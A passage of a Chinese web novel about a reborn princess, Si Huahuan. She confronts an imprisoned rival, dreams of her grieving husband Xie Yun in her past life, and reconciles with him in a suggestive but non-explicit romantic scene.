“备车, 去大理寺。” 诏狱阴暗潮湿,空气中弥漫着霉味和淡淡的血腥气, 令人作呕。狱卒提着灯笼, 引姒华欢穿过长长的甬道, 最终在一间单独的牢房前停下了脚步。 不过一夜之间,昔日那个清高的林家四小姐,如今华服已换成粗糙的囚衣,因为无人服侍, 发髻略显凌乱,脸上也失去了往日精心维护的光彩。 见到姒华欢进来, 林妙晴反应不大, 缓缓走到槛前,依着规矩行了个礼,声音沙哑:“公主殿下。” 姒华欢站在牢门外,与她保持着距离, 神情淡漠,开门见山:“听说你有话要对我说?” 林妙晴抬起头,脸上露出一丝苦涩的笑容:“有些事,公主殿下难道就不好奇吗?” “好奇?”姒华欢挑眉,不为所动,“本公主该对什么好奇?” “譬如……聚仙楼,是谁砸下花盆,暗害殿下?” 姒华欢神色一凛。 林妙晴观察着姒华欢神色的细微变化,继续说道:“那日长宁原本设计,是想利用林珩,构陷殿下与他有私,败坏殿下清誉。” “可惜,林珩不知为何并未上钩,长宁这才恼羞成怒,推下花盆泄愤。” 原来如此。那日大理寺去查,除了宾客名单,确实没找到更多线索,想来她们是用了他人的名帖身份。 姒华欢冷声道:“所以呢?你现在告诉我这些,是想让长宁罪加一等,即刻处死?还是你检举有功,从轻发落?” 林妙晴摇头,脸上挤出一抹苦笑:“罪女只是想用一些公主感兴趣的消息,跟殿下做一笔交易。” “交易?”姒华欢冷笑,“就凭你,一个阶下囚,有何资格与本公主谈交易?” 林妙晴声音带着哀求:“罪女不敢奢求太多,只求殿下看在罪女今日坦诚相告的份上,能让押解的官差对罪女有些许关照……” 流徒三千里,苦寒之地,对她这样娇生惯养的官家小姐而言,无异于踏入鬼门关。路上官差的刁难、恶劣的环境、疾病的折磨……能活着走到流放地都已属侥幸。 总有些有能力的人家暗中打点,为自家儿女买个平安,至少能吃饱穿暖,像个人一样活着,不至受尽凌辱折磨。 如今林家已视她如弃子,不会为她做什么了,她须得为自己打算。 姒华欢冷眼看着她这副卑微乞怜的模样,心中没有丝毫波澜。早知今日,何必当初? 她与林妙晴并无愁怨,林妙晴却只为攀附长宁而几番毒害她。林妙晴自诩聪明算计,实则又蠢又坏。 “林妙晴,你未免太高看这个消息的价值了。” 长宁已是将死之人,多这一条少这一条罪状,于她而言并无分别。 林妙晴见姒华欢不为所动,打算离开,立刻急了,连忙唤道:“还有一事!还有一事,只有罪女知道!” 姒华欢转回身,看她还能卖出什么关子。 “中秋宴上,殿下突发风疹,来势汹汹,凶险异常,怎的薛宝芝就那般凑巧识得此症,懂得解救之法?” 薛宝芝! 一语点醒梦中人。姒华欢一直觉得风疹之事蹊跷,却无甚头绪。此刻被林妙晴点破,许多被忽略的细节瞬间串联起来。 一切都有了答案。那根本就是一场贼喊捉贼的戏码! 薛宝芝的目的并没有改变,只是不知为何,目标从为母后施针,转到了自己身上。 但无论如何,结果都没有改变。经过这一事,父皇母后和哥哥都曾对她印象极佳。 薛宝芝……果然是个更大的隐患。 姒华欢心中豁然开朗,被算计的怒气隐隐升腾,面上却竭力保持着平静,冷冷地看着林妙晴:“空口无凭,本公主凭什么信你?说这些,是临死前心有不甘,想拉个垫背的一起下水吗?” 林妙晴自嘲地笑了笑,那笑容在昏暗的光线下显得有几分凄凉:“公主殿下,我如今已是这般境地,林家早已视我为弃子。那样的苦寒之地,我这样的身子能活几年?随时可能悄无声息死在流放路上……我还有什么必要在此时此刻编造这些一戳即破的谎言来骗你?” 她顿了顿,恳求道:“殿下,我只是……只是想求一条活路。” 这大概是林妙晴此生说出过最真心的话了。 然而姒华欢心中的怀疑并未完全打消。 林妙晴的话真真假假,难以分辨。或许她说的关于长宁和薛宝芝的事情是真的,但这并不能改变她心肠歹毒,与长宁合谋,欲置自己于死地的事实。 看着她这副卑微乞怜的模样,姒华欢心中没有丝毫怜悯。 “活路?”姒华欢觉得荒唐,“你与长宁合谋杀我时,可曾给我留活路?” “林妙晴,你今日之下场,都是你自作自受。你的交易,本公主也没兴趣,你好自为之吧。” 别说今日是求生,便是求死,她也不会应的。 说完姒华欢不再看林妙晴一眼,转身便走。 “公主!公主殿下!”林妙晴在她身后大声呼喊,“我说的都是真的!都是我亲眼所见!公主你信我啊!” 然而姒华欢的脚步没有停留,决绝的身影消失在昏暗的通道尽头。 走出诏狱,重见天日,阳光有些刺眼,与诏狱内的阴森仿佛是两个世界。姒华欢下意识眯了眯眼,有种恍如隔世之感。 她两世的人生中,头一次感觉到活着好累。 她只是想改变一次杀身之祸,却不知为何,引来了更多的杀身之祸。 她正想抬手遮挡一下阳光,就见一个熟悉的身影,正步履匆匆,面带急色赶来。 是谢昀。 他显然是一得到消息就立刻赶来的,见到她完好无损地站在那里,他明显松了口气,几步便走到她面前,抬手轻轻抚上她的脸颊,仔细端详着她的神色。 “没事吧?怎么一个人一声不吭就跑来这种地方,也不派人告诉我一声?” 他的手掌温暖而干燥,带着令人安心的感觉。姒华欢摇了摇头,声音带着浓浓的疲惫:“我没事,是林妙晴,她说有话要跟我说。” “她对你做了什么?说了什么?” 见她状态不好,谢昀眉头蹙起,语气沉了下来。仿佛只要姒华欢说一句不好,他立刻就进诏狱做些什么。 姒华欢点了点头,又摇了摇头。 她想把林妙晴那些关于薛宝芝的话告诉他,可是她真的太累了,不仅仅是身体的疲惫,更是心力的交瘁,实在没有精力去复述那些勾心斗角的腌臜事。 一夜未眠,惊惧交加,又经历了方才与林妙晴那番耗费心神的对峙,此刻松懈下来,只觉得浑身像是被抽干了力气。 姒华欢现在只觉得眼皮有千斤重,头脑昏沉,排山倒海的倦意席卷而来。 她站着都有些费力,身体往前一倾,额头抵在了谢昀坚实宽阔的胸膛上,声音带着连她自己都未察觉的撒娇意味:“说了……但我现在好累,没劲儿说了……谢昀,我想回宫睡觉……” 她声音越来越小,话语断断续续,逻辑有些混乱,显然是困极了。 感受着怀里人全身心的依赖和软软的语调,谢昀的心像被羽毛轻轻搔刮了一下。 他低头看着埋在自己胸前,难得显露出如此脆弱娇态的人儿,原本带着责问的神色不由自主柔和了下来。 “好,回去睡觉。”谢昀低声应着,伸出手环住她,支撑住她有些发软的身体,“我抱你?” 姒华欢连点头的力气都快没了,只是从喉咙里发出一声细微代表肯定的“嗯”。 谢昀将她打横抱起,动作熟练地像是做过无数次。 早有眼色的马夫将小杌子放好,谢昀小心将姒华欢抱上马车,安置在铺着软垫的座位上。 姒华欢歪靠在车厢壁上,强撑着模糊的意识,想起一事,含糊地问道:“长宁和林妙晴什么时候流放?” “明日。”谢昀言简意赅地回答。 “哦。”姒华欢应了一声,又问,“那流放路上,可会有人暗中关照些?” 谢昀眸光微动,看向她困倦的侧颜:“你想找人‘关照’他们?” 难道诏狱里林妙晴说了什么,让她心软了? 这个理解让姒华欢有些不快,她即使困得不行,也小声嘟囔反驳:“我才不呢……她想要我的命,我还要关照她?我不杀了她都已是……身镀金光,慈悲为怀了。” 谢昀被她这个形容逗笑,唇角稍稍弯了一下,顺着她的话接道:“哦,那还是得‘关照’一下。” 只不过此“关照”非彼“关照”。 到了侯府,谢昀自然而然挥手屏退了欲上前伺候的侍女,俯身再次将迷迷糊糊的姒华欢抱起。 或许是他走路太过平稳,又或许是他胸膛传来的温度和沉稳有力的心跳声太过让人安心。 总之,从马车到主院,这短短一段路,姒华欢脑袋一歪,竟在他怀里睡沉了。 谢昀轻轻将姒华欢放在床榻上,脱掉她的绣鞋,拉过一旁的锦被,仔细为她盖好。 目光扫过她纤细手腕上那几道因捆绑而留下的淤痕,他眸色沉了沉,指尖轻拂过那痕迹,带着丝丝缕缕的心疼。 他就这样坐在床沿,静静地看了她一会儿。 这样全然信赖、安静乖巧的她,实在少见,让他舍不得离开。 这样宁静的时刻,连时间都变得缓慢而温柔。 正当他准备起身时,睡梦中的姒华欢像是有所感应,嘤咛一声,反手抓住了他还没来得及完全抽走的手,口中发出模糊的呓语:“别走……” 那声音又轻又软,像一只无形的手,紧紧攥住了谢昀的心。 低头看着两人交握的手,她的手小巧柔软,紧紧抓着他,谢昀心底某处瞬间化作一片荡漾的春水。 “好,不走。”他低声应道。 他脱掉靴子和外袍,只着中衣,掀开锦被一角,缓缓躺了进去,将那个抓着他手不放的人儿揽入自己怀中。 寝室内,熏香袅袅,帷帐低垂,阳光透过窗子洒下细碎的金芒,将相拥而眠的两人笼罩在一片静谧温暖的氛围之中,所有的风波都被隔绝在了这片安宁的天地之外。 第69章 她决定,对他好一点。…… 姒华欢睁开眼, 入目所及,并非熟悉的织金帐顶,而是一片灰蒙蒙的天空。 她发现自己站在了一个既熟悉又陌生的地方。 是明安侯府。 可眼前的侯府与前世记忆中, 乃至这一世所见的都截然不同。 亭台楼阁依旧, 回廊水榭未改,但处处透着一股难以言喻的荒凉死寂。 庭院中的花草虽有人打理, 但还是显得有些杂乱萎靡, 空气中也凝聚着一股阳光也驱不散的阴霾。 到处都空荡荡的, 姒华欢飘出来四处张望, 竟然谁也没有看到。 她怔住了,她不应该是跟在谢昀身边的冤魂吗?谢昀在哪? 她这是终于自由了,不用被束缚在谢昀的身边了? 正想着, 一丝微弱、断断续续的声音钻入了她的耳朵。 是琴声。 这侯府里谁会弹琴,谢昀吗? 说起来, 姒华欢生前最善的便是琴艺, 虽不常弹, 但造诣不俗。 而谢昀最不擅音律,曾经被她毫不客气地嘲笑过,后来不知怎的,他竟私下苦练, 硬生生将几首名曲练得纯熟,虽不及大家风范, 却也勉强能入耳了? 难道…… 姒华欢循着琴声飘去, 穿过熟悉的抄手游廊,越过枯竭的莲花池,最终停在一处她从未去过的院落前,琴音正是从这间屋子中传出的。 她没有实体, 不受阻碍,如穿过水幕般,轻易穿透了厚重的墙壁,进入室内。 这是一间寝室,里面摆着许多张琴,而坐在琴几后的,正是谢昀。 他用的,竟然是当年她与他打赌输掉后,心不甘情不愿抵给他的那张焦尾。 他居然用她那么好的琴,弹出这么难听的声音! 谢昀此刻弹奏的,是她前世听得几次的一首曲子。这首曲子在她记忆里,应该是婉转悠扬的,可此刻从他指尖流淌出的却全然变了味道。 节奏缓慢拖沓,力道时轻时重,本该激越处变得沉闷,本该婉转处显得干涩。 整个曲子被他弹得死气沉沉,与他的人一般无二。 而且,他还弹错了,不止一处。 这不应该。虽然不知道这首是什么曲子,但这是谢昀练得最熟的一首。 姒华欢飘到他身侧,凑近了仔细看看。 不知这梦中的时间又过去了多久,眼前的谢昀比她上一次在梦中见到的更加憔悴不堪。 脸色苍白如纸,下颌线条瘦削的惊人,原本合身的衣袍此刻都显得有些空荡荡的。 最让她触目惊心的是,在他如绸黑发的鬓角处,赫然夹杂了几缕刺眼的银白。 白发! 他才二十多岁啊,正值最好的年华,怎会生出白发? 只有短时间内,心脉严重亏损,忧思过度,耗竭心神才会如此。 她的死对他而言,影响如此之大吗? 一个处心积虑要害死她的人,会在她死后将自己折磨成这副人不人鬼不鬼的模样吗?会因为成功的算计而心脉亏损,早生华发吗? 之前的猜疑动摇得更厉害了。 或许真的不是他。 姒华欢站在琴几旁,静静地看着他。 他面无表情,仿佛无知无觉,只是固执地弹奏那首变了调的曲子。 琴音喑哑,如同呜咽。 然而一曲未毕。 “铮——!” 一声尖锐刺耳的崩裂声突兀响起。 琴弦断了一根。 一直如死水般沉寂的谢昀动作一僵,低头看着那根崩断的琴弦,空洞的眼神中终于出现了波动。 一种如同孩童打碎了珍贵之物般的无措。 “不……不……” 谢昀似乎无法接受琴弦的崩断,随之脸上的无措被痛苦取代,右手五指收紧,死死攥住了剩下几根完好的琴弦。 锋利的琴弦瞬间割破了他的的掌心,殷红的鲜血汩汩涌出,在焦尾琴上晕开一朵朵刺目的红花。 他整个身体都在微微颤抖,眼泪从他深陷的眼眶中滚落,大颗大颗混着掌心的鲜血一同砸在琴身上。 血与泪交融在一起,分不清彼此。 “谢昀!”姒华欢下意识惊呼出声,伸出手想去阻止他这自残般的行为,手毫无意外地穿过了他的手臂。 她什么也做不了,只能眼睁睁看着,心像被琴弦勒住一般窒息。 谢昀对她的一切毫无所觉。他维持着那个姿势,任由鲜血流淌,泪水滑落。 直到手上的疼痛或许暂时压过了心里的痛,他才缓缓松开了手,掌心已是血肉磨糊。 姒华欢忍住鼻尖的酸意,小声嘀咕道:“好不容易能听到声音了,你又不说话……这一遭我又白来了……” 谢昀面无表情拿起一旁的手帕,胡乱将受伤的手缠绕了几圈,白色的绢布顷刻间被鲜血浸透。 然后他站起身,脚步有些虚浮地走出了琴室。 姒华欢连忙跟上。 谢昀没有去书房,而是走到了主院的一片牡丹花丛旁。 这片牡丹花丛开得格外盛,与周遭的枯枝败叶相比,一看便知是有人精心照料的。 谢昀就直接坐在廊下,没有再哭,也没有任何动作,只是静静坐在那里。 阳光无力地照在他身上,照不出他身上丝毫的生机。 此刻的谢昀如同风中残烛,下一刻就会化作一缕青烟,随风而去,彻底消散在这天地间。 看他这个模样,姒华欢只觉得胸口闷得厉害,一阵阵酸楚和心疼涌上来,让她喘不过气。 那种感觉,比当初认为是他杀了自己时,还让她难受百倍。 “谢昀……”姒华欢在心里喃喃呼唤。 他如此思念她,怎会亲手杀她? 从前是她错了,是她误会了他。 姒华欢是哭醒的。 泪痕还挂在脸颊,喉咙里堵着哽咽,即便睁开了眼,悲伤也笼罩在心头。 “又做噩梦了?” 头顶传来睡意初醒沙哑的询问,一只温热的大掌轻轻抚上她的后背。 姒华欢抬起了朦胧泪眼,昂首望去。 谢昀显然是刚被她惊醒,眼睛都未完全睁开,手却以下意识抬起安抚她。 看着他此刻这张充满生气的脸,在与梦中那个鬓染霜华的脸重叠,姒华欢心中百感交集,酸楚难言,更多的泪水不受控制地涌出。 他不知道,他永远不会知道,前世的他曾因她的离去,思念成疾,心脉亏损,早生华发。 那现在的他呢?对她……又是什么样的感觉? 是习惯?还是有从前被她忽略的情愫? 她现在只有一个想法:她决定,对他好一点。 姒华欢扑进他的怀里,紧紧环抱住他的腰,将脸埋在他坚实温热的胸膛上,小声地啜泣起来。 谢昀自然地环住她纤细颤抖的肩背,轻轻拍抚着,“这次又梦到谁死了?” 姒华欢没有心思回答他的调侃,哭了半晌,心中的酸胀感才稍稍缓解。 她抽噎着慢慢平静下来,抬起头,这时才后知后觉意识到哪里不对。 熟悉的锦帐绣被,熟悉的龙脑香……分明是她的寝室,她的床榻! 姒华欢瞪大了还泛着水光的眼睛:“你怎么会在我的寝室,我的床上?” 谢昀看着她这副才反应过来的迷糊模样,浅浅笑起来。 他好整以暇地躺回去,单手枕在脑后,慢悠悠道:“某人拉着我的手,力气不小,说什么也不让走,臣只能遵旨。” “我?”姒华欢难以置信地指着自己的鼻子,“我怎么可能……” 她想反驳,说他胡说八道,说他趁人之危。 可话到嘴边,看着眼前这张俊脸,想到他承受过的痛苦,平时要与他斗上几句嘴的话,便一个字也说不出口了。 最终姒华欢只是垂下眼睫,低低地“哦”了一声,算是接受了这个说法。 她转头望了望窗子,外面一片漆黑,“现在是什么时辰了?” “快到亥时了。”谢昀看了一眼屋子角落的刻漏回答。 他们这一觉,从午后直接睡到了深夜,到了平常人该安寝的时辰才醒过来。 气氛又安静下来,姒华欢正不知道说什么好,一阵不合时宜的“咕噜”声从姒华欢的腹部传了出来。 姒华欢身子一僵,脸颊微红。 谢昀挑眉,眼中笑意更深,却体贴地没有笑出声,只是语气如常地问道:“饿了?要传晚膳吗?” 姒华欢点了点头。 她忽然意识到,从他醒来,他察觉她做噩梦,安抚她,再到此刻自然地询问是否传膳,他的反应很是体贴。 姒华欢带着探究的目光仔细打量着谢昀,像是第一天才认识他这个人似的。 她忍不住问道:“你一直都这么体贴吗?” 谢昀被她这没头没脑的问题问得微微一怔,眯了眯眼,戏谑道:“现在才发现?” 若是往常,听他这般自得的语气,姒华欢定然要反唇相讥,说他厚脸皮、自作多情。 但今天她却意外地偃旗息鼓了,只默默看着他,那双刚刚哭过的大眼睛里水光潋滟,情绪复杂。 最终姒华欢只是默默掀开被子,起身下床,走到外厅,低声对守夜的侍女吩咐了些什么。 谢昀看着她异常安静的背影,眉头微微蹙了一下。 他敏锐地察觉到,她醒来后很不一样。 不仅仅是哭过,不仅仅是做了噩梦,更像是经历过大事,让她收起了所有的棱角。 这让他心里很是不安。 谢昀也起身,随意披了件外袍,走到外厅,对另一个侍女嘱咐了几句。 过了一会儿,两人在花厅的膳桌前坐好,侍女们鱼贯而入,将一道道精致的菜肴摆上桌。 当看到满桌的菜肴时,姒华欢和谢昀都愣了一下。 今日的菜比平时还要多,其中明显有一半都是谢昀偏好的口味。 谢昀虽不挑食,从前用膳也都是随着姒华欢的口味,她吃什么,他便跟着吃什么。 像今日这般特地为他准备似的,还是头一遭。 而姒华欢的目光,则落在了那几道她爱吃的点心上。 她记得她刚才并没有吩咐这些…… 两人不约而同抬起头,视线在空中交汇,这才明白过来:原来对方是去特地吩咐这个了。 一股微妙的气氛在膳桌上弥漫开来。 谢昀百思不得其解。 姒华欢不仅没有像往常一样跟他斗嘴,还特意吩咐膳房做了他爱吃的菜。 太阳是打西边出来了?还是说,其实是他在做梦? 他悄悄在自己腿上拧了一把,很痛,不是梦。 她突如其来的好,让他有些无所适从,反生出几分警惕和忐忑。 谢昀犹豫再三,还是没忍住,试探地开口:“这是我的断头饭吗?” 姒华欢正小口喝着甜羹,闻言抬起眼皮嗔了他一眼:“别得寸进尺。” 说完,似觉得不妥,她顿了顿,补充了一句:“食不言,寝不语。” 谢昀被她这轻飘飘的一眼和两句话堵了回来,心中那种古怪的感觉更甚。 他一边享受着这难得的优待,一边又忍不住揣测她又在打什么小九九,或是她受了什么刺激? 姒华欢安静地用膳,偶尔抬眼悄悄打量谢昀。 看他受宠若惊的模样,觉得有些好笑,还有些……淡淡的酸涩。 只是给他备几道他爱吃的菜,他便这么高兴了吗? 若是让别人看见,还以为她平时虐待他呢—— 作者有话说:这样的晚上不做点什么岂不可惜……[狗头] 第70章 此男怎么这么会蛊惑人心…… 晚上后, 姒华欢捧着茶杯,状似不经意般问道:“谢昀,你府上……有琴房吗?” 谢昀微微一怔, 有些意外她突然问起这个。 他点了点头:“有, 早就给你备下了。只是你一直没问起,我以为你不爱弹了。” 她善琴, 却极少抚弄。大婚前, 他特意辟了一间极好的静室作为琴房, 里面搜罗了些不错的琴, 只等她某日兴起。 可她从未提起,久而久之,他便也忘了这事。 “突然想起来了。”姒华欢站起身, “带我去看看?” “好。”谢昀自然无异议,跟着她起身。 琴房设在侯府东侧一处僻静的院落, 推开门, 一股淡淡的檀木香扑面而来。 室内陈设雅致, 窗明几净,可见一直有人精心打理,与姒华欢梦中所见,别无二致。 博古架上摆放着一些珍玩, 墙上挂着几幅山水画。屋中摆放着几张琴案,上面覆盖着防尘的锦缎。 姒华欢的目光在室内扫过, 最后定在中央那张最为显眼的宽大琴桌上。 那里摆放着一张通体漆黑, 隐隐泛着幽光的七弦琴,琴尾因受火焦灼而呈焦黑色,一看便知非凡品。 姒华欢走过去,指尖轻轻抚过冰凉的琴弦, “这是焦尾?我输给你的那把?” 谢昀站在她身后,应道:“是。” 这把琴自赢来后,他便一直妥善收藏,后来布置琴房才将它取出,放在最显眼的位置。 姒华欢在琴桌前坐下,闭上眼,努力回忆着梦中那首被谢昀弹得支离破碎的曲子。 凭着残存的记忆,玉指轻拨,一段略显生疏的琴音从她指尖流泻而出。 她只弹了一小段便停了下来,因为记忆到此便模糊了。 她抬头想问问谢昀是否听过这首曲子,却发现谢昀脸色大变。 他此刻一片震惊,锐利的眼神紧紧盯着她,声音紧绷:“谁教你的?” 姒华欢被他这突如其来的反应吓了一跳,茫然道:“怎么了?” “你怎么会知道这首曲子?”谢昀上前一步,语气急迫又严肃,“你是从何处听来的?” 姒华欢被他问得心头一慌,反问道:“这是孤本吗?别人都不知道的曲子?” 谢昀的心沉了下去。 孤本,何止是孤本。 这首曲子根本就是他亲手所谱,为她而作的曲子! 最关键的是,这首曲子他根本未曾完稿,从未给任何人看过、听过,连曲名都还未定。 那她是如何得知的? 不仅弹出了他已完成的前半部分,甚至将他只存于他脑海构思的后半段雏形补全了出来? 这怎么可能?! 除非…… 他之前不信她所谓的梦,只当是日有所思,夜有所梦的巧合,或是她用来搪塞他的借口。 可眼前这绝无可能外泄的曲子被她弹奏出来,这要如何解释? 莫非她真的可以梦到以后? 所以她两次从梦中哭醒,难道是因为她梦到的那些以后之事会成真?所以她之前才会说出那些关于生死的惊人之语? “这曲子……”谢昀声音干涩,“是我谱的。” 姒华欢愕然睁大了眼睛:“你谱的?” “后半段我还没有完成,我从未给任何人看过、听过,你是如何得知的?” 他的眼神中有疑惑,有期待,期待她能给出一个合理的,与梦无关的解释。 姒华欢讶然。她怎么知道那是他谱的曲子! 她只是凭记忆弹了出来,这要她如何解释? 说我在梦里听到你弹的,不仅听到了残谱,还听到你后来完善的部分? 这听起来比直接承认“我是重生回来的”,更像个疯子。 她张了张嘴,一个字也说不出来,眼神不由得有些闪烁。 看着她这副明显又想着如何搪塞他的模样,谢昀心中的猜想似乎得到了证实。 他的喉结滚动了一下,问道:“又是……那个梦?” “你刚刚……梦到我了?” 不然她为何无故问起这间琴室,她分明就是明知故问。 姒华欢被他问得心慌意乱,看着他眼中复杂的情绪,她知道任何解释在此刻都显得苍白无力。 情急之下,她心一横,做出了一个连自己都想不到的举动。 她扬起脖子,踮起脚尖,将自己的嘴唇贴上了他的薄唇。 用最简单最直接的方式,堵回了所有她无法回答的问题。 这猝不及防的袭击显然奏效了。 谢昀所有未出口的追问,都在那两片柔软的唇瓣贴上来时,戛然而止。 他整个人都愣住了,身体有片刻的僵硬,垂眸看着近在咫尺,紧闭着双眼,睫毛不停颤抖的姒华欢。 姒华欢完全是凭着一股冲动行事,贴上去之后大脑便是一片空白,根本不知道接下来该干什么。 只觉得他嘴唇微凉,柔软的触感异常清晰。 这尴尬的静止持续了片刻,她便觉得脸颊烧得厉害,向后缩了一下,想要离开。 她刚有后退的迹象,一只大手便稳稳扶住了她的后脑勺,阻止了她的逃离。另一只手则顺势揽住了她的腰肢,将她更紧的压向自己。 紧接着谢昀反客为主,深深地吻了下去。 轻易撬开了她因惊讶而微启的齿关,灵巧的舌尖长驱直入,纠缠住她无处可逃的柔软,汲取她的气息,交换彼此的温度。 像是要用这种方式确认她的存在,驱散他心中的不安。 “唔……” 姒华欢完全没料到会发展成这样,整个人都懵了。 所有的思考能力都被剥夺,只能被动承受着这个深吻,身体发软,不得不伸手抓住他腰侧的衣襟,才能勉强站稳。 不知过了多久,直到两人都气息不稳,谢昀才稍稍退开些许,额头抵着她的额头,呼吸交织,都带着急促的喘息。 姒华欢被吻得晕晕乎乎,若不是他紧紧揽着她的腰,她都要滑落到地上去了。 谢昀手臂用力,一把将她抱起,让她坐到了宽大的琴桌边缘。 这个高度让他微微仰头,便可以继续这个缠绵的吻,同时也将她困在了他的胸膛与琴桌之间,无处可逃。 在换气的间隙,他抵着她的唇瓣,声音沙哑得不成样子,带着诱哄般追问:“刚刚又梦到自己死了?” 姒华欢被他亲得神志昏沉,迷迷糊糊地摇头。 “那是梦到我了?”他继续追问,灼热的气息喷洒在她敏感的耳廓。 姒华欢先是点了点头,随即又像是意识到什么,赶紧用力摇头。 谢昀在她唇上惩罚性地轻啄了一下,不依不饶:“梦到我怎么了?嗯?” 姒华欢继续摇头:“不记得了……你别问了……” 她这个反应更加深了谢昀心中的疑虑与不安。 她越是回避,越能证明那梦境绝非寻常。 不知道自己在她的梦里究竟做了什么,竟让她逃避到宁愿用吻来打断他的追问。 他不再逼问,而是再次仰起头,慢慢地,极具耐心地磨蹭着她的唇瓣,时而轻吮,时而舔舐,细细地吻她。 谢昀深邃的目光紧锁住她迷离的双眼,用充满磁性的声音道:“梦只是梦而已,不会真的发生的,别怕。” 看着他近在咫尺的俊脸,感受着他霸道又温柔的亲吻,听着他低沉安抚的话,姒华欢只觉得心尖都在发颤。 她被他亲得两颊绯红,眼波流转间媚意横生。那双向来清澈明亮的眸子,此刻像是蒙上了一层水雾,迷迷蒙蒙地望着他,无辜又勾人。 谢昀看着她这般情态,只觉得小腹一紧,一股炽热的火苗迅速窜起,汇聚到一处。 他强压下快要失控的冲动,声音愈发喑哑,带着蛊惑人心的意味:“不好的事情,就忘掉吧。” 他的唇沿着她的下颌,轻轻滑到她敏感的耳垂,含住那小巧的软肉,感受着她身体的轻颤。 “我有一个好办法,能让你忘掉,并且……身心愉悦……” 姒华欢被他撩拨得意乱情迷,顺着他的话喃喃问道:“什么……办法?” 谢昀没有回答,而是用行动表明。 他的吻再次落下,比之前更热烈、更强势。 他一手依旧揽着她的腰,另一只手却开始不规矩地在她后背游移。 亲着亲着,他的唇离开了她的嘴唇,转而攻向她纤细的脖颈。湿热的吻如同雨点般落在她的颈侧,留下一个个暧昧的印记。 然后沿着优美的线条一路向下,吻到了她漂亮的锁骨上…… 衣襟不知何时被蹭得微微散开,露出了一小片雪白的肌肤和若隐若现的弧度。 微凉的空气和他灼热的呼吸落在肌肤上,带来一阵颤栗,姒华欢猛地一个激灵,从神魂颠倒中惊醒了几分。 她这才反应过来他们身在何处。 她的脸瞬间爆红,如同煮熟的虾子。手无意识地在身旁乱抓,想要推开他,却拨动了一根琴弦,发出“铮”一声脆响。 这声琴音如同警钟敲响在姒华欢混乱的脑海中,她慌忙伸手,五指插进他浓密的发间,不是推开,而是无力地阻止他继续,声音颤颤巍巍,带着哭腔:“别……别在这……” 谢昀抬起头,眸中情欲翻涌,如同深不见底的漩涡。 他舔了舔唇角,低低地笑了一声:“这不好吗?琴音雅致,正好助兴。” 故意曲解她的意思,恶劣地逗弄她。 “你……”姒华欢都不知道说什么好,脸上都要冒烟了。 谢昀稍稍退开一些,从袖中取出一方干净的丝帕,慢条斯理地擦了擦自己的两根手指,动作缓慢,眼神却炙热地盯着她。 “我倒是可以等到回寝室,但是……”谢昀俯身在她耳边吹着热气,故意拉长了调子,“某人……好像等不了了。” 姒华欢感受到自己身体的异样反应,更是羞得无地自容,恨不得当场消失。 谢昀看着她这副羞愤的可爱模样,有一种想要将她揉进骨血的冲动。不再逗她,而是再次吻上她的唇,这一次的吻温柔而缠绵,带着无尽的怜爱。 谢昀边亲着她,边坏心思地在她唇边问:“脸怎么这么红?嗯?” 姒华欢羞得说不出话。 他就亲一下,问一句:“怎么不说话?” 又亲一下:“是害羞了吗?” 终于在他不知第几次的逗弄下,姒华欢本就所剩无几的理智焚烧殆尽,揽住他的脖子,主动封上了那张可恶的嘴。 谢昀像是早就猜到了她的动作,没有意外,反而享受着她笨拙的亲吻,明明爽快得灵魂都在颤栗,却还要故意从纠缠的唇齿间溢出笑声和低语: “这么急,嗯?” 姒华欢被他笑得又羞又恼,却沉溺在他带来的感受间无法自拔。 在彻底迷失前,姒华欢脑中只剩下最后一个模糊的念头—— 此男怎么这么会蛊惑人心! 琴房内,烛影摇红,衣衫凌乱,昂贵的焦尾琴被冷落在一旁,宽大的琴桌承受了不该承受的重量。 断断续续的呜咽与低喘,取代了原本应有的清乐琴音,在寂静的夜里,谱写着另一首旖旎缱绻的曲子—— 作者有话说:不多说了,都在文里了[黄心]《 》 70-80 第71章 她的死到底和谢昀有没有…… 姒华欢再次有意识时, 浑身上下如同被拆散重组般酸痛难忍,尤其是腰肢。 谢昀这家伙平日里看着矜重自持,怎得到了榻上就……就那般不知餍足!翻来覆去地折腾她。 直到她最后连一丝力气都没有, 只能软绵绵地哼唧, 口中含糊地骂他“禽兽”、“混蛋”。 她甚至不记得自己怎么从琴房回到主院寝室的,只依稀有点印象被温柔舒适的水流包裹着, 有人动作轻柔地为她清洗, 缓解了部分不适。 再之后, 便是一片黑暗, 累得直接昏睡过去。 明明才睡醒没多久啊……她在心中哀叹。 姒华欢睁开眼,发现自己身处一个完全陌生的环境。 这是一处有些简陋的宅院。 又梦到前世了? 以前做梦从未如此频繁过。昨日晚上刚梦过,今晚竟又来了。 她下意识开始在这宅院中飘荡, 寻找谢昀的身影。 就在她要飘进主屋前,一阵杂乱沉重的脚步声由远及近, 伴随着铠甲碰撞出的铿锵声。 听着动静, 竟是有一大队兵马将这座宅院团团围住了。 “哐当”一声, 院门被人从外面踹开,一道挺拔的身影走了进来。 是谢昀。 他一身利落的玄色劲装,墨发高束,腰间悬挂着一柄长剑。 他的脸上没有任何表情, 薄唇紧抿,一双眸子如同淬了寒冰。 他走进院子, 直直向主屋而去。 木门被他一把推开, 门外光线涌入昏暗的室内,恰好照亮了主位方向。 光线逐渐勾勒出那人的轮廓,当看清那人面容时,姒华欢惊得抬手捂住了自己的嘴巴, 才没有惊呼出声。 居然是晋皇叔! 他怎么会在这里?谢昀找他做什么?看谢昀这架势,是来杀他的,为什么? 晋王坐在一张太师椅上,姿态却依旧带着几分出身皇族的矜贵。 那双曾经慈爱的眼睛,此刻充满了野心和算计。 他看着破门而入的谢昀,脸上非但没有惧色,反而扯动嘴角,轻笑一声:“两年了……谢昀,你终于还是找到我了。” 谢昀在离他五步远的地方站定,握紧手中的剑柄,冷声道:“那你应该也知道,今日便是你的死期。” 晋王脸上的笑容收敛了些,眼神变得阴鸷:“我帮你除了那么多绊脚石,助你坐稳这权臣之位,你居然背叛我!” “‘帮你’?”谢昀嗤笑一声,笑声里充满讽刺,“我从来就没有站在过你那边。你的那些鬼话,我一个字也不相信。” 晋王脸色变了变,但很快,他又强行挤出一个扭曲的笑容:“现在在我面前逞什么能?谢昀,别忘了是你,是你伤透了康乐的心,是你亲手杀了她!” “你如今这副深情款款,替她报仇雪恨的模样做给谁看?她在地下只会觉得你虚伪!恶心!” “住口!” 听到姒华欢的名字从晋王口中如此轻蔑地说出,谢昀像是被瞬间点燃的炸药,一直压抑的情绪突然爆发。 他握着剑柄的手青筋暴起,眼圈以肉眼可见的速度泛红,里面翻涌着滔天的痛苦,但被他强行压制着。 他咬着牙道:“如今陛下已下旨,找到晋王,就地斩杀,不必回话。” 